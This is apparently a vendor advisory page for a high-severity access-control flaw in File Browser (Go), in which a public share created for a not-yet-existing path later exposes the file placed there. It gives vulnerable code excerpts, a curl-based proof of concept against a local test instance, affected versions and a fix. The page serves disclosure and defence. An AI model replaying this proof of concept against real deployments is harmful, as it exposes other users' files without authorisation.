Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐹
🐹 Go
Not in CISA KEV
HIGH severity

GHSA-3q2p-72cj-682c — v2

HIGHFix: filebrowser/filebrowser@166583d

GHSA-3q2p-72cj-682c is a high-severity (CVSS 8.4) CWE-863 vulnerability in github.com/filebrowser/filebrowser/v2. A fix is available for github.com/filebrowser/filebrowser/v2 — see the affected versions and patch details below.

File Browser: Improper Access Control Occurs via Pre-Created Public Share for a Non-existent Path

Also known asCVE-2026-54096GO-2026-5096
Published
Jun 12, 2026
Updated
Jul 21, 2026
Affected
2 pkgs
Patched
1 / 2
Exploits
None indexed
Exploitation data as of Sep 27, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for GHSA-3q2p-72cj-682c.

EPSS Exploitation Probability

via FIRST.org ↗
0.2%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs7th percentile — riskier than 7% of all scored CVEsHighest risk

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

GHSA-3q2p-72cj-682c by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.

Where this sits among everything scored

Of 379,842 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.

Real-World Exposure

2 pkgs affected
🐹github.com/filebrowser/filebrowser/v2🐹github.com/filebrowser/filebrowser

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

This is similar vulnrability of CVE-2026-0035, which was fixed in Android MediaProvider with high severity. In the original Java issue, MediaStore.createWriteRequest() accepted attacker-controlled URIs and created a future grant even when the referenced media item did not exist yet. The Android fix added an existence check before creating the request.

filebrowser/filebrowser has the analogous issue in Go. POST /api/share/<path> accepts an authenticated request for an arbitrary path and stores a public share record without checking whether the target file currently exists. Later, when a file is created at that same path, the previously created public share immediately becomes valid and exposes the new file through GET /api/public/dl/<hash>.

Details

The vulnerable create path is:

  • http/share.go
  • sharePostHandler()
  • route: POST /api/share/<path>

sharePostHandler() only checks that the caller is authenticated and has share/download permissions. It then builds a share.Link directly from r.URL.Path and saves it:

s = &share.Link{
    Path:         r.URL.Path,
    Hash:         str,
    Expire:       expire,
    UserID:       d.user.ID,
    PasswordHash: string(hash),
    Token:        token,
}

if err := d.store.Share.Save(s); err != nil {
    return http.StatusInternalServerError, err
}

There is no Stat, Exists, or equivalent check before the public share record is committed.

The vulnerable consume path is:

  • http/public.go
  • withHashFile()
  • routes: GET /api/public/share/<hash>, GET /api/public/dl/<hash>

Each public request loads the saved share by hash and then resolves link.Path against the owner's current filesystem state:

file, err := files.NewFileInfo(&files.FileOptions{
    Fs:   d.user.Fs,
    Path: link.Path,
    ...
})

This means the share is not bound to an object that existed at creation time. It is bound only to a path string, so a share created for a nonexistent path becomes valid later as soon as that path is populated.

PoC

The PoC below starts from external HTTP input only.

  1. Authenticate to File Browser.
  2. Confirm /future4.txt does not exist.
  3. Create a public share for /future4.txt anyway.
  4. Confirm the public share returns 404.
  5. Upload a file to /future4.txt.
  6. Reuse the same public share URL and read the file content.

Reproduction commands:

TOKEN=$(curl -s -X POST http://127.0.0.1:8091/api/login \
  -H 'Content-Type: application/json' \
  -d '{"username":"admin","password":"Password123!"}')

curl -i -X POST http://127.0.0.1:8091/api/share/future4.txt \
  -H "X-Auth: $TOKEN" \
  -H 'Content-Type: application/json' \
  -d '{}'

curl -i http://127.0.0.1:8091/api/public/dl/JVeEQlLO

curl -i -X POST http://127.0.0.1:8091/api/resources/future4.txt \
  -H "X-Auth: $TOKEN" \
  --data-binary 'fourth-secret'

curl -i http://127.0.0.1:8091/api/public/dl/JVeEQlLO

Impact

An authenticated user can create a public share for a path before the file exists, and that same share later exposes whatever file is created at that path. This can unintentionally publish future sensitive files and bypass the expected invariant that a share grants access only to an existing object reviewed at creation time.

Reference

Original CVE: https://nvd.nist.gov/vuln/detail/CVE-2026-0035

Affected Packages

2 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/filebrowser/filebrowser/v2all versions2.63.7go get github.com/filebrowser/filebrowser/v2@v2.63.7
🐹Gogithub.com/filebrowser/filebrowserall versionsNo fix

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/filebrowser/filebrowser/v2, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update github.com/filebrowser/filebrowser/v2 to 2.63.7 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-3q2p-72cj-682c is resolved across your whole dependency graph.

  3. Workarounds

    Put an independent control in front of the weakness: restrict the affected endpoint or interface to trusted networks, require an additional authentication factor or proxy-level check, and invalidate existing sessions and credentials in case the flaw has already been used.

Frequently Asked Questions

### Summary This is similar vulnrability of **`CVE-2026-0035`**, which was fixed in Android `MediaProvider` with **high** severity. In the original Java issue, `MediaStore.createWriteRequest()` accepted attacker-controlled URIs and created a future grant even when the referenced media item did not exist yet. The Android fix added an existence check before creating the request. `filebrowser/filebrowser` has the analogous issue in Go. `POST /api/share/<path>` accepts an authenticated request for an arbitrary path and stores a public share record without checking whether the target file currentl
O3 Security · Impact-Aware SCA

Is GHSA-3q2p-72cj-682c in your dependencies?

Find it across Go, including transitive dependencies.

GHSA-3q2p-72cj-682c: v2 (High 8.4) | O3 Security